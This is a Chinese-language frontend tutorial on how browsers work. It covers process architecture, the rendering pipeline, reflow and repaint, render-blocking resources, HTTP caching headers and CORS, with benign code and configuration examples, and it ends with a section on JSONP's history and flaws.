---
title: 前端-04-浏览器与HTTP
aliases:
  - 浏览器原理
  - Browser Internals
  - 渲染流程
  - HTTP 缓存与跨域
  - Reflow 与 Repaint
tags:
  - 前端/浏览器
  - 类型/教程
created: 2026-10-11
updated: 2026-10-11
level: 进阶
prerequisites:
  - "[[计算机网络]]"
  - "[[JavaScript-05-DOM与事件]]"
  - "[[前端-02-CSS基础]]"
sources:
  - https://developer.mozilla.org/zh-CN/docs/Web/Performance/Guides/How_browsers_work
  - https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Guides/Caching
  - https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Reference/Headers/Cache-Control
  - https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Guides/CORS
  - https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Guides/Cookies
  - https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Reference/Headers/Set-Cookie
  - https://developer.mozilla.org/zh-CN/docs/Web/API/Window/localStorage
  - https://developer.mozilla.org/zh-CN/docs/Web/API/Performance_API
  - https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Reference/Headers/X-Frame-Options
  - https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Reference/Headers/Content-Security-Policy
  - https://developer.mozilla.org/zh-CN/docs/Web/API/Storage_API/Storage_quotas_and_eviction_criteria
  - https://html.spec.whatwg.org/multipage/scripting.html
---

# 前端-04-浏览器与HTTP

> [!abstract] 这篇讲什么
> 你写的 HTML、CSS、JavaScript 最终是在**浏览器**这个复杂系统里跑起来的。不懂这个系统，性能优化就只能靠猜：为什么加个 `transform` 动画就变流畅了？为什么 `no-store` 和 `no-cache` 不是一回事？为什么预检请求会多发一次 `OPTIONS`？
> 本文按「架构 → 网络 → 渲染 → 缓存 → 存储 → 安全 → 排查」的顺序，把前端日常遇到的浏览器行为串成一条链。读完你应该能用 DevTools 定位一次真实的首屏卡顿，并说出至少三种可落地的优化手段。

---

## 一、是什么：浏览器是一个多进程操作系统

浏览器（browser）不是「一个程序」，而是一个被拆成若干**进程（process）**的操作系统级应用。每个进程内部又有若干**线程（thread）**。

### 1.1 主要进程与职责

| 进程 | 英文名 | 核心职责 | 挂掉会怎样 |
|---|---|---|---|
| 浏览器主进程 | Browser Process | 窗口与标签页管理、地址栏、书签、网络请求的调度代理、子进程创建与回收 | 整个浏览器退出 |
| 渲染进程 | Renderer Process | 解析 HTML/CSS、执行 JavaScript、布局、绘制；一个标签页通常一个 | 该标签页显示「页面崩溃」 |
| GPU 进程 | GPU Process | 承担合成（compositing）、光栅化（rasterization）与最终上屏 | 通常整机浏览器显示异常或重启 |
| 网络进程 | Network Process | 统一发起 HTTP/HTTPS 请求、DNS 解析、连接池、Cookie 存取 | 所有标签页网络中断 |
| 插件进程 | Plugin Process | PDF、旧式 NPAPI 插件等 | 对应插件失效 |
| 工具进程 | Utility Process | 音频解码、存储服务、网络服务等沙箱化辅助任务 | 对应功能不可用 |

> [!important] 为什么要多进程
> 三个理由，缺一不可：
> 1. **稳定性**：一个页面崩溃（如某站 JS 死循环导致 OOM）不会拖垮整个浏览器。进程是隔离边界。
> 2. **安全性**：渲染进程运行着来自互联网的不可信代码，必须被放在**沙箱（sandbox）**里，禁止直接读写文件系统、禁止随意发系统调用。
> 3. **并行性**：多个标签页真正并行渲染，而不是抢同一个主线程。

### 1.2 站点隔离（Site Isolation）

早期 Chromium 允许同一进程内放多个来自**不同站点**的 iframe（跨源 iframe 复用渲染进程），结果催生了 Spectre 一类的侧信道攻击：攻击者页面可以读到自己进程内存里本属于别的站点的内容。

**站点隔离**的规则是：**不同站点（site）尽可能放进不同的渲染进程**。这里的「站点」通常指 *scheme + eTLD+1*，例如 `https://a.example.com` 与 `https://b.example.com` 属于同一站点（eTLD+1 都是 `example.com`），而 `https://evil.com` 必须隔离。

代价是内存占用上升（进程数变多），收益是**跨站点数据无法通过进程内内存探测泄露**。现代浏览器默认开启，这也是「打开很多标签页后内存暴涨」的主要原因之一。

### 1.3 渲染进程内部的线程

| 线程 | 职责 |
|---|---|
| 主线程（Main Thread） | 解析 HTML、执行 JS、计算样式、布局、部分绘制指令生成 |
| 合成线程（Compositor Thread） | 分块、合成图层、处理滚动与合成动画 |
| 光栅线程池（Raster Threads） | 把绘制指令转成位图（tile 光栅化） |
| 工作线程池（Worker Threads） | Web Worker、Service Worker |
| 定时器/事件循环辅助 | 调度 `setTimeout`、网络回调投递 |

> [!tip] 记住这条分界线
> **主线程负责「算什么」，合成线程负责「怎么贴」。** 后面讲 `transform` 为什么快，本质就是把动画从主线程挪到了合成线程。

---

## 二、为什么：从输入 URL 到页面显示

这一节是整个前端的「主干道」。理解了这条链路，性能优化就是在这条链上找瓶颈。

### 2.1 完整流程概览

```
用户输入 URL
   │
   ├─(1) URL 解析 + 缓存与 HSTS 检查
   ├─(2) DNS 解析 ──────────────► 域名 → IP
   ├─(3) TCP 三次握手 ──────────► 建立连接
   ├─(4) TLS 握手（HTTPS）──────► 加密通道 + 证书校验
   ├─(5) 发送 HTTP 请求
   ├─(6) 服务器处理 + 返回响应
   ├─(7) 浏览器解析 HTML → DOM
   ├─(8) 解析 CSS → CSSOM（与 DOM 并行）
   ├─(9) 合并成渲染树 Render Tree
   ├─(10) 布局 Layout（计算几何位置）
   ├─(11) 绘制 Paint（生成绘制指令）
   └─(12) 合成 Composite（分块 → 光栅化 → 上屏）
```

### 2.2 逐步说明：耗时与优化点

| 步骤 | 典型耗时量级 | 主要成本来源 | 可优化点 |
|---|---|---|---|
| (1) URL 解析 + 缓存检查 | $< 1\ \text{ms}$ | 内存/磁盘查找 | 合理设置缓存头，命中则整条网络链跳过 |
| (2) DNS 解析 | $20 \sim 120\ \text{ms}$（首次） | 递归查询多级 DNS | `dns-prefetch`、`<link rel="preconnect">`、减少域名数量、选就近 CDN |
| (3) TCP 握手 | $1\ \text{RTT}$ | 往返时延 | 连接复用（keep-alive）、就近接入、HTTP/2 多路复用 |
| (4) TLS 握手 | $1 \sim 2\ \text{RTT}$（TLS 1.3 可 1-RTT，会话恢复 0-RTT） | 密钥协商 + 证书链校验 | TLS 1.3、OCSP Stapling、会话复用、`preconnect` |
| (5) 请求发送 | $< 1\ \text{ms}$ 本地上行 | 请求头体积 | 精简 Cookie、用 HTTP/2 头压缩 |
| (6) 服务器处理（TTFB） | $50 \sim 500\ \text{ms}$ | 后端计算、数据库、排队 | 缓存、CDN、SSR 流式输出、数据库索引 |
| (7) HTML 解析 | 与体积成正比 | 网络下载 + 词法分析 | 压缩（gzip/brotli）、流式解析（边下边解析）、减少首屏 HTML 体积 |
| (8) CSS 解析构建 CSSOM | 与规则数成正比 | 选择器复杂度 | 关键 CSS 内联、删除未使用 CSS |
| (9) 渲染树构建 | 与节点数成正比 | 样式计算 | 降低 DOM 深度与节点数 |
| (10) 布局 Layout | 与受影响节点数成正比 | 几何重算 | 避免强制同步布局、用 `contain` 隔离 |
| (11) 绘制 Paint | 与绘制面积/复杂度成正比 | 阴影、圆角、渐变、滤镜 | 用 `transform` 替代会触发重绘的属性 |
| (12) 合成 Composite | $1 \sim 16\ \text{ms}$ | 图层数量与显存 | 图层不宜过多，避免「图层爆炸」 |

> [!note] 关于 RTT
> 一次往返时延（Round-Trip Time, RTT）是很多步骤的计价单位。国内跨运营商访问常在 $20 \sim 60\ \text{ms}$，跨国可能 $150 \sim 300\ \text{ms}$。
> 所以「多一个域名的额外连接」在跨国场景下可能直接吃掉 $300\ \text{ms}$ 以上——这就是「减少关键域名数量」这一优化建议的数学依据。

### 2.3 DNS 阶段的细节

DNS 查询顺序通常是：浏览器缓存 → 操作系统缓存（`hosts` 文件）→ 本地 DNS 服务器 → 根域名服务器 → 顶级域服务器 → 权威域名服务器。

需要注意的是，**DNS 查询往往在真正需要资源之前就被「预热」了**：

```html
<!-- 提前解析域名：只做 DNS，不建连接，成本最低 -->
<link rel="dns-prefetch" href="https://cdn.example.com">

<!-- 提前建立 TCP + TLS 连接：适合确定马上要用的关键第三方域 -->
<link rel="preconnect" href="https://api.example.com" crossorigin>

<!-- 提前抓取资源：适合下一个页面要用的东西 -->
<link rel="prefetch" href="/next-page.js" as="script">
```

> [!warning] `preconnect` 别滥用
> 每个 `preconnect` 都会占用一个连接和一份内存，浏览器一般限制同时活跃的预热连接数量（约 6 个左右）。
> 对「可能根本不会用到」的域名做 `preconnect`，反而会挤掉真正关键请求的带宽与连接。

### 2.4 HTTP 请求的组成

```http
GET /index.html HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (...) Chrome/140.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Cookie: sessionid=abc123; theme=dark
Connection: keep-alive
```

响应则包含状态行、响应头与响应体：

```http
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Encoding: br
Cache-Control: public, max-age=31536000, immutable
ETag: "a1b2c3"
Content-Length: 18342

<!DOCTYPE html>...
```

---

## 三、核心内容：渲染流程（Rendering Pipeline）

### 3.1 五个阶段

| 阶段 | 输入 | 输出 | 执行线程 | 触发属性举例 |
|---|---|---|---|---|
| ① 构建 DOM 树 | HTML 字节流 | DOM 节点树 | 主线程 | —— |
| ② 构建 CSSOM | CSS 文本 | 样式规则树 | 主线程 | —— |
| ③ 渲染树 Render Tree | DOM + CSSOM | 可见节点 + 计算样式 | 主线程 | —— |
| ④ 布局 Layout（重排 Reflow） | 渲染树 | 每个节点的几何信息（$x, y, w, h$） | 主线程 | `width`、`height`、`margin`、`font-size`、`display` |
| ⑤ 绘制 Paint（重绘 Repaint） | 布局结果 | 绘制指令列表（Display List） | 主线程 | `color`、`background-color`、`box-shadow` |
| ⑥ 合成 Composite | 绘制指令 → 图层 → 位图 | 屏幕像素 | **合成线程 + 光栅线程**，最终 GPU 上屏 | `transform`、`opacity`（已提升为合成层时） |

> [!important] 关键结论
> **交互延迟与动画流畅度几乎完全由主线程决定。** 主线程忙（长任务、大量 JS），用户点击就没有响应，动画就掉帧。
> 而 `transform` / `opacity` 动画由合成线程独立驱动，**即使主线程卡住，动画依然能保持 $60\ \text{fps}$**。
> 反过来，`width` / `top` / `left` 这类属性会回到主线程走完整流程，主线程一卡动画就抖。

### 3.2 渲染树不等于 DOM 树

渲染树只包含**需要显示**的节点。以下内容不会出现在渲染树中：

- `<head>`、`<meta>`、`<script>`、`<link>` 等非可视元素；
- `display: none` 的元素及其整棵子树；
- 伪元素 `::before` / `::after` 会作为渲染树节点出现（它们不是 DOM 节点，但会被绘制）。

注意 `visibility: hidden` 与 `display: none` 的差别：前者**仍在渲染树中**、仍占布局空间，只是不绘制；后者**不在渲染树中**，不占空间。因此切换 `visibility` 只会触发重绘，切换 `display` 会触发重排。

### 3.3 帧预算：为什么是 $16.7\ \text{ms}$

屏幕刷新率 $f$ 决定每帧预算：

$$
T_{\text{frame}} = \frac{1000\ \text{ms}}{f}
$$

- $f = 60\ \text{Hz}$ → $T_{\text{frame}} \approx 16.7\ \text{ms}$
- $f = 120\ \text{Hz}$ → $T_{\text{frame}} \approx 8.3\ \text{ms}$

如果主线程一次任务执行超过一帧预算，这一帧就无法提交，用户感知为**卡顿（jank）**。Chrome DevTools 把超过 $50\ \text{ms}$ 的任务标为**长任务（Long Task）**。

$$
\text{掉帧数} \approx \left\lceil \frac{T_{\text{task}}}{T_{\text{frame}}} \right\rceil - 1
$$

例如主线程被一个 $50\ \text{ms}$ 的任务独占，则大约掉 $\lceil 50 / 16.7 \rceil - 1 = 2$ 帧。

### 3.4 分块、光栅化与合成

1. 合成线程把页面按视口切成若干**块（tile）**，通常 $256 \times 256$ 或 $512 \times 512$ 像素；
2. 光栅线程池把每块的绘制指令**光栅化（rasterize）**成位图；
3. GPU 把位图上传为纹理（texture），按层组合并上屏；
4. 滚动（scroll）时通常**无需重新布局与绘制**——已有位图只是移动位置，这也是滚动一般比动画流畅的原因。

---

## 四、重排（Reflow）与重绘（Repaint）

### 4.1 定义与触发条件

| 概念 | 定义 | 触发条件 | 代价 |
|---|---|---|---|
| 重排 Reflow / Layout | 重新计算元素的几何位置与尺寸 | 改变影响布局的属性；增删 DOM；改变字体；改变窗口大小；读取某些布局属性 | 高，可能波及整棵子树甚至整页 |
| 重绘 Repaint | 几何不变，仅重新生成绘制指令 | 改变不影响布局的外观属性，如颜色、背景、可见性 | 中，与绘制面积和复杂度相关 |
| 合成 Composite | 仅重新组合已有图层 | 改变 `transform` / `opacity`（已在独立图层） | 低，可脱离主线程 |

常见触发属性对照表：

| 只触发重绘（安全） | 触发重排（昂贵） |
|---|---|
| `color`、`background-color` | `width`、`height`、`padding`、`margin`、`border-width` |
| `border-color`、`outline-color` | `top`、`left`、`right`、`bottom` |
| `visibility` | `display`、`position`、`float` |
| `box-shadow`（部分浏览器仍需重绘） | `font-size`、`font-family`、`line-height` |
| `text-decoration-color` | `text-align`、`white-space` |
| —— | `overflow`、`min/max-width` |

> [!warning] 一次重排往往连带一次重绘
> 重排改变了几何信息，几何变了就必须重新绘制，所以**重排必然伴随重绘，重绘不一定伴随重排**。
> 优化优先级永远是：**能合成就不绘制，能绘制就不重排**。

### 4.2 强制同步布局（Forced Synchronous Layout）

这是最容易被忽视的性能杀手。浏览器本来会把多次样式修改**批量**合并到下一个渲染帧统一处理（异步布局）。但如果你在修改之后**立即读取**一个布局属性，浏览器为了返回正确值就必须**马上**做一次布局，这就是强制同步布局，也叫**布局抖动（layout thrashing）**。

```js
// ❌ 反例：每次循环都「写 → 读」，强制同步布局 N 次
const items = document.querySelectorAll('.item');
for (const item of items) {
  item.style.width = item.offsetWidth + 10 + 'px'; // 读 offsetWidth 触发强制布局
}
```

```js
// ✅ 正例：先集中读，再集中写，读写分离
const items = document.querySelectorAll('.item');
// 阶段一：只读
const widths = Array.from(items, (item) => item.offsetWidth);
// 阶段二：只写
items.forEach((item, i) => {
  item.style.width = widths[i] + 10 + 'px';
});
```

会**强制触发布局**的读写属性包括：`offsetTop/Left/Width/Height`、`clientTop/Left/Width/Height`、`scrollTop/Left/Width/Height`、`getBoundingClientRect()`、`getComputedStyle()`（读取布局相关属性时）、`scrollIntoView()`、`focus()`。

### 4.3 为什么 `transform` / `opacity` 能被 GPU 加速

浏览器在以下条件成立时，会把一个元素**提升为独立的合成层（compositing layer）**：

1. 元素拥有 `transform: translate3d(...)`、`will-change: transform`、`opacity` 参与动画等提示；
2. 或者 `<video>`、`<canvas>`、`position: fixed` 等天然分层；
3. 或者与 `z-index` 组合创造出层叠上下文需要独立绘制的场景。

一旦成为独立图层，`transform` 与 `opacity` 的动画就变成对**该图层纹理的矩阵变换与透明度混合**：

$$
\begin{bmatrix} x' \\ y' \\ 1 \end{bmatrix}
=
\begin{bmatrix} a & c & e \\ b & d & f \\ 0 & 0 & 1 \end{bmatrix}
\begin{bmatrix} x \\ y \\ 1 \end{bmatrix}
$$

这个矩阵乘法在 GPU 上以极高并行度完成，不需要重新解析 CSS、不需要重新布局、不需要重新光栅化位图内容，**也不需要主线程参与**。

> [!tip] 经验法则
> **只动 `transform` 和 `opacity` 的动画，几乎一定是流畅的。** 其他属性（`left`、`width`、`background-color`、`box-shadow`）的动画都可能回到主线程。

### 4.4 `will-change` 的正确用法

`will-change` 是**提前告知浏览器「这个元素将要变化」**的提示属性。

```css
/* ✅ 正确：在父元素 hover 时预告，动画开始时即时生效 */
.card {
  transition: transform 200ms ease-out;
}
.card:hover {
  transform: translateY(-4px) scale(1.02);
}

/* 更好：动画类被添加时，提前一帧提升图层 */
.card.is-animating {
  will-change: transform;
}
```

```css
/* ❌ 反例一：常驻 will-change，等于永久多一个图层 */
.always {
  will-change: transform; /* 每个卡片一个层 → 图层爆炸 → 显存吃满 */
}

/* ❌ 反例二：给不相干的属性加提示，毫无作用且浪费内存 */
.never {
  will-change: width, height, color;
}

/* ❌ 反例三：把 will-change 当作解决问题的手段，而不是优化手段 */
```

正确用法总结：

| 原则 | 说明 |
|---|---|
| 按需添加、用完移除 | 动画结束后移除 `will-change`，或用 `transitionend` 监听后删除类 |
| 只写真正会变的属性 | 一般只写 `transform`、`opacity` |
| 不要写在大量元素上 | 图层数量与显存成正比，移动端尤其敏感 |
| 不要用它替代 `transform` 动画 | 想用 GPU 就直接写 `transform`，`will-change` 只是提前量 |

> [!important] 常见坑：`will-change` 不生效
> 如果你把 `will-change` 和触发变化的样式写在**同一条规则里**，浏览器可能在同一次样式计算中同时处理，来不及提前分层，效果打折。
> 实践做法是**在动画前一个事件（如 `mouseenter`）里加类**，或在 CSS 中用独立的 `.is-animating` 类。

---

## 五、关键渲染路径（Critical Rendering Path）优化

### 5.1 CSS 是渲染阻塞资源

浏览器必须等 CSSOM 构建完成才能构建渲染树。原因很直接：**没有完整样式，就无法确定任何元素的最终外观，绘制出来的东西可能立刻要被推翻**。

因此：

- `<link rel="stylesheet">` 默认**阻塞渲染**，但不阻塞 HTML 解析（解析可以继续，只是不绘制）；
- CSS 也会**阻塞后面的 JS 执行**，因为 JS 可能读取依赖样式的属性；
- 非关键 CSS 应异步加载或延后。

```html
<!-- 关键 CSS 内联，让首屏第一帧就有样式 -->
<style>
  /* 只放首屏可见部分所需的规则，通常控制在 10~14 KB 以内 */
  .hero { display: flex; padding: 24px; }
</style>

<!-- 非关键 CSS：用媒体查询让浏览器以低优先级加载 -->
<link rel="stylesheet" href="/print.css" media="print">
<link rel="stylesheet" href="/wide.css" media="(min-width: 1200px)">

<!-- 或用 preload + onload 异步切换（注意 noscript 兜底） -->
<link rel="preload" href="/non-critical.css" as="style" onload="this.onload=null;this.rel='stylesheet'">
<noscript><link rel="stylesheet" href="/non-critical.css"></noscript>
```

### 5.2 JS 阻塞解析：`defer` 与 `async`

普通 `<script src>` 在解析过程中遇到就**立即下载并执行**，期间 HTML 解析完全暂停。

| 对比项 | `<script>` | `<script async>` | `<script defer>` | `<script type="module">` |
|---|---|---|---|---|
| 下载是否并行 | ❌ 阻塞解析 | ✅ 并行 | ✅ 并行 | ✅ 并行（含依赖） |
| 执行时机 | 下载完立即执行，暂停解析 | 下载完立即执行（可能打断解析） | HTML 解析完成后、`DOMContentLoaded` 之前 | 解析完成后（等价 defer） |
| 多个脚本执行顺序 | 按文档顺序 | ❌ 不确定，谁先下完谁先跑 | ✅ 按文档顺序 | ✅ 按文档顺序 |
| 是否阻塞 `DOMContentLoaded` | 是 | 否（但可能在之前执行） | 是（defer 脚本在其前执行） | 是 |
| 适用场景 | 极少用；必须同步注入的场景 | 独立统计脚本、广告 | 需要 DOM 的业务代码 | 现代模块化应用 |

> [!note] 规范怎么说
> HTML 标准规定：外部经典脚本（classic script）带 `async` 时「与解析并行抓取，并在可用时立即求值（可能在解析完成前）」；不带 `async` 带 `defer` 时「与解析并行抓取，并在页面解析完成后求值」；两者都不带时「立即抓取并求值，直到两者都完成前阻塞解析」。
> 模块脚本（module script）无论放在哪里都不会在解析完成前求值，`defer` 对模块脚本**无效**（因为模块默认就是 defer 行为）。
> 另外，标准还定义了 `blocking="render"` 属性用于显式声明「潜在渲染阻塞」，以及「隐式潜在渲染阻塞」的判定：解析器插入的、无 `async`/`defer` 的经典脚本。详见 [HTML Standard §4.12 Scripting](https://html.spec.whatwg.org/multipage/scripting.html)。

### 5.3 资源优先级提示

```html
<!-- 首屏关键图片：提高抓取优先级 -->
<img src="/hero.webp" fetchpriority="high" width="1200" height="600" alt="首屏主视觉">

<!-- 折叠下方图片：降低优先级 + 懒加载 -->
<img src="/below.webp" loading="lazy" decoding="async" width="800" height="450" alt="列表图">

<!-- LCP 图片要尽早被发现：不要用 JS 设置 src，直接用 HTML 写死 -->
```

### 5.4 一张优化清单

| 目标指标 | 主要手段 |
|---|---|
| 降低 TTFB | CDN、服务端缓存、流式 SSR、数据库索引 |
| 优化 FCP | 内联关键 CSS、减少阻塞资源、字体 `font-display: swap` |
| 优化 LCP | 预加载 LCP 资源、`fetchpriority="high"`、避免 JS 注入首图、图片用现代格式 |
| 优化 INP | 拆分长任务、`requestIdleCallback`、`scheduler.yield()`、减少主线程 JS |
| 优化 CLS | 给图片/iframe 写死宽高、预留广告位、字体预加载避免换字抖动 |

> [!tip] 版本提示
> Core Web Vitals 的指标集合与阈值会随官方更新调整，**以官方最新文档为准**。本库的版本核实结果见 [[版本与官方资源速查]]。

---

## 六、浏览器缓存

### 6.1 两类缓存：强缓存与协商缓存

| 类别 | 英文 | 判定依据 | 是否发请求 | 状态码表现 |
|---|---|---|---|---|
| 强缓存 | Strong Cache | `Cache-Control`（优先）、`Expires` | ❌ 不发请求，直接用本地副本 | 200 (from disk/memory cache) |
| 协商缓存 | Conditional Cache | `ETag`/`If-None-Match`、`Last-Modified`/`If-Modified-Since` | ✅ 发请求问服务器 | 未变 304，变了 200 |

完整判定流程：

```
发起请求
  │
  ├─ 1. 有强缓存且未过期？ ──是──► 直接使用本地副本（不发请求）
  │                              （状态栏显示 from disk cache / from memory cache）
  │
  └─ 否
      │
      ├─ 2. 有 ETag / Last-Modified？ ──是──► 带 If-None-Match / If-Modified-Since 发请求
      │                                          │
      │                                          ├─ 资源未变 ──► 304 Not Modified，用本地副本
      │                                          └─ 资源已变 ──► 200 + 新资源
      │
      └─ 3. 什么都没有 ──► 200 + 完整资源，并按响应头写入缓存
```

### 6.2 `Cache-Control` 指令

| 指令 | 含义 | 典型用法 |
|---|---|---|
| `max-age=秒` | 相对过期时间，从响应生成时刻算起 | `max-age=31536000`（一年） |
| `s-maxage=秒` | 仅对共享缓存（CDN、代理）生效 | `s-maxage=60` |
| `no-cache` | **可以缓存，但每次使用前必须向服务器校验** | HTML 入口文件 |
| `no-store` | **完全不缓存**，任何位置都不许存 | 含敏感信息的接口响应 |
| `public` | 可被共享缓存（CDN）缓存 | 静态资源 |
| `private` | 只允许浏览器私有缓存，CDN 不得缓存 | 用户相关数据 |
| `must-revalidate` | 过期后必须校验，不允许使用过期副本 | 兼顾性能与一致性 |
| `immutable` | 在有效期内**不因刷新而重新校验** | 带指纹的静态资源 |
| `stale-while-revalidate=秒` | 先返回过期副本，同时后台校验 | 提升感知速度 |

> [!warning] `no-cache` ≠ `no-store`
> 这是面试与实战中最高频的混淆点：
> - `no-cache`：**会缓存**，只是每次都要「问一下服务器还能不能用」。它的名字具有误导性，含义其实是 *cache but revalidate*。
> - `no-store`：**彻底不缓存**，请求响应都不会被写入任何缓存存储，用于银行卡、身份证、一次性 Token 等敏感响应。
> 如果给静态资源误写 `no-store`，就等于放弃了所有缓存能力，CDN 和浏览器缓存全部失效。

### 6.3 `Expires` 与 `Last-Modified` 的历史包袱

```http
# 旧式强缓存：绝对时间，依赖客户端时钟
Expires: Wed, 21 Oct 2026 07:28:00 GMT

# 现代强缓存：相对时间，不受时钟偏差影响
Cache-Control: max-age=31536000
```

`Expires` 的问题是**使用绝对时间**：如果客户端系统时间不准（或时区设置错误），缓存可能立刻过期或永不过期。因此 `Cache-Control` 优先级高于 `Expires`，现代项目只写 `Cache-Control`。

同理，`Last-Modified` 的精度只到**秒**，且无法表达「内容没变但文件被重写」的情况，因此优先使用内容哈希生成的 `ETag`。`ETag` 分强校验（`"abc123"`）与弱校验（`W/"abc123"`），后者表示语义等价即可。

> [!note] 为什么有时改了文件却没生效
> 常见原因：CDN 边缘节点缓存了旧副本；`ETag` 由部署机器生成导致每次发布都变；浏览器对同一 URL 使用了 `memory cache`（同一页面会话内，可能完全跳过校验）。
> 排查手段：DevTools → Network 面板勾选 **Disable cache**（仅开发时），或看响应头的 `x-cache`、`age`、`cf-cache-status` 等自定义头。

### 6.4 前端静态资源指纹策略

目标：**让不变的内容长期强缓存，让变化的内容立刻失效。**

做法是把内容哈希写进文件名：

```
main.a1b2c3d4.js
vendor.9f8e7d6c.js
app.e5f4a3b2.css
index.html          ← 入口文件，绝不带哈希
```

对应两套缓存策略：

```nginx
# ① 带内容哈希的静态资源：一年强缓存 + immutable，永远不用校验
location ~* \.(?:js|css|woff2|png|jpg|webp|avif|svg)$ {
    add_header Cache-Control "public, max-age=31536000, immutable";
    # 注意：需要配合"文件名带哈希"才安全
}

# ② HTML 入口：协商缓存，保证用户总能拿到最新的资源引用
location ~* \.html$ {
    add_header Cache-Control "no-cache";
    etag on;
}
```

> [!important] 为什么入口 HTML 要用 `no-cache` 而不是 `no-store`
> 用 `no-cache` 保留了 304 的可能（未修改时只传响应头，省流量），又保证了每次部署后用户能拿到新的 HTML。用 `no-store` 会连 304 的机会都失去，每次完整下载。
> 用 `max-age` 长缓存 HTML 是最危险的做法：用户会长期停留在旧版本，而旧 HTML 引用的资源可能已被清理，导致白屏。

---

## 七、跨域（Cross-Origin）

### 7.1 同源策略（Same-Origin Policy）

**源（origin）= 协议（scheme）+ 域名（host）+ 端口（port）**，三者完全相同才算同源。

| 页面源 | 请求目标 | 是否同源 | 原因 |
|---|---|---|---|
| `https://a.com/index.html` | `https://a.com/api` | ✅ | 完全一致 |
| `https://a.com` | `http://a.com/api` | ❌ | 协议不同 |
| `https://a.com` | `https://a.com:8443/api` | ❌ | 端口不同 |
| `https://a.com` | `https://api.a.com/x` | ❌ | 域名不同（子域也算跨域） |
| `https://a.com` | `https://b.com/x` | ❌ | 域名不同 |

同源策略限制的是**读取**：跨源请求**可以发出去**，但**响应内容不能被当前页面读取**（除非对方明确允许）。这解释了一个常见困惑——「跨域请求在 Network 面板里明明是 200，为什么 JS 报错？」答案是请求确实成功了，是被浏览器拦截了响应的交付。

同源策略**不限制**的加载方式（这些标签天然允许跨源加载，但也因此成为历史攻击面）：`<script>`、`<img>`、`<link>`、`<video>`、`<iframe>`（iframe 内容不可读，但可加载）。

### 7.2 简单请求与预检请求

**简单请求（Simple Request）** 必须同时满足：

1. 方法是 `GET`、`HEAD`、`POST` 之一；
2. 请求头只包含 CORS 安全列表头（`Accept`、`Accept-Language`、`Content-Language`、`Content-Type` 等）；
3. `Content-Type` 只允许 `text/plain`、`multipart/form-data`、`application/x-www-form-urlencoded`。

注意：**`Content-Type: application/json` 不是简单请求**，所以绝大多数现代前后端分离项目都会触发预检。

**预检请求（Preflight Request）** 流程：

```
浏览器                                    服务器
   │                                        │
   │ ① OPTIONS /api/user                    │
   │    Origin: https://a.com               │
   │    Access-Control-Request-Method: POST │
   │    Access-Control-Request-Headers:     │
   │      content-type, authorization       │
   │ ──────────────────────────────────────►│
   │                                        │
   │ ② 200 OK                               │
   │    Access-Control-Allow-Origin:        │
   │      https://a.com                     │
   │    Access-Control-Allow-Methods:       │
   │      GET, POST, PUT, DELETE            │
   │    Access-Control-Allow-Headers:       │
   │      content-type, authorization       │
   │    Access-Control-Max-Age: 86400       │
   │ ◄──────────────────────────────────────│
   │                                        │
   │ ③ 真正的 POST /api/user                │
   │ ──────────────────────────────────────►│
   │ ④ 200 + 数据                           │
   │ ◄──────────────────────────────────────│
```

### 7.3 关键响应头

| 响应头 | 作用 | 注意 |
|---|---|---|
| `Access-Control-Allow-Origin` | 允许的源 | 可以是具体源或 `*`；**带 Cookie 时不能用 `*`** |
| `Access-Control-Allow-Methods` | 允许的方法 | 预检响应中返回 |
| `Access-Control-Allow-Headers` | 允许的自定义请求头 | 预检响应中返回 |
| `Access-Control-Allow-Credentials` | 是否允许携带凭据 | 必须为 `true`（字符串） |
| `Access-Control-Max-Age` | 预检结果缓存秒数 | 减少 OPTIONS 次数 |
| `Access-Control-Expose-Headers` | 允许 JS 读取的响应头 | 默认只能读 6 个简单响应头 |
| `Vary: Origin` | 告诉缓存按 Origin 区分副本 | **动态回显 Origin 时必写**，否则 CDN 会串号 |

### 7.4 携带 Cookie：`credentials` 的三方约定

要让跨源请求带上 Cookie，**三处必须同时满足**，缺一失败：

```js
// ① 前端：显式声明携带凭据（默认是 same-origin）
fetch('https://api.b.com/user', {
  method: 'GET',
  credentials: 'include', // 关键：默认值 'same-origin' 不会带 Cookie
  headers: { 'Content-Type': 'application/json' },
});
```

```http
# ② 服务端：Allow-Origin 必须是具体源，不能是 *
Access-Control-Allow-Origin: https://a.com
Access-Control-Allow-Credentials: true

# ③ Cookie 自身：跨站场景需要 SameSite=None 且必须 Secure
Set-Cookie: sessionid=abc; SameSite=None; Secure; HttpOnly
```

> [!warning] 三个高频报错
> 1. `The value of the 'Access-Control-Allow-Origin' header in the response must not be the wildcard '*' when the request's credentials mode is 'include'.` → 把 `*` 换成具体源。
> 2. 请求头 `Access-Control-Allow-Credentials: true` 写成了 `True` 或 `1` → 必须是精确字符串 `true`。
> 3. 预检过了、真实请求失败，且 Cookie 没带上 → 检查 `SameSite=None; Secure`，以及是否通过 HTTPS 访问。

### 7.5 JSONP 的历史

在 CORS 出现之前（以及需要兼容 IE 的年代），人们利用「`<script>` 不受同源策略限制」这一特性实现跨域取数：

```js
// JSONP：服务端返回一段可执行的 JS 调用，而不是纯 JSON
function jsonp(url, callbackName) {
  return new Promise((resolve, reject) => {
    const cb = `__jsonp_${Date.now()}`;
    // 服务端会返回：__jsonp_123({ "name": "张三" })
    window[cb] = (data) => {
      resolve(data);
      delete window[cb];          // 用完即删，避免污染全局
      script.remove();
    };
    const script = document.createElement('script');
    script.src = `${url}${url.includes('?') ? '&' : '?'}callback=${cb}`;
    script.onerror = () => reject(new Error('JSONP 加载失败'));
    document.body.appendChild(script);
  });
}
```

JSONP 的致命缺陷：

1. **只能 `GET`**，无法使用 `POST`/`PUT`/`DELETE`；
2. **无状态码与错误处理**，服务端出错时通常只能靠超时；
3. **安全风险高**：直接执行第三方返回的任意 JS，等于把 XSS 的大门敞开；
4. 无法读取响应头，无法使用 `credentials` 的细粒度控制。

> [!danger] 现代项目不要再用 JSONP
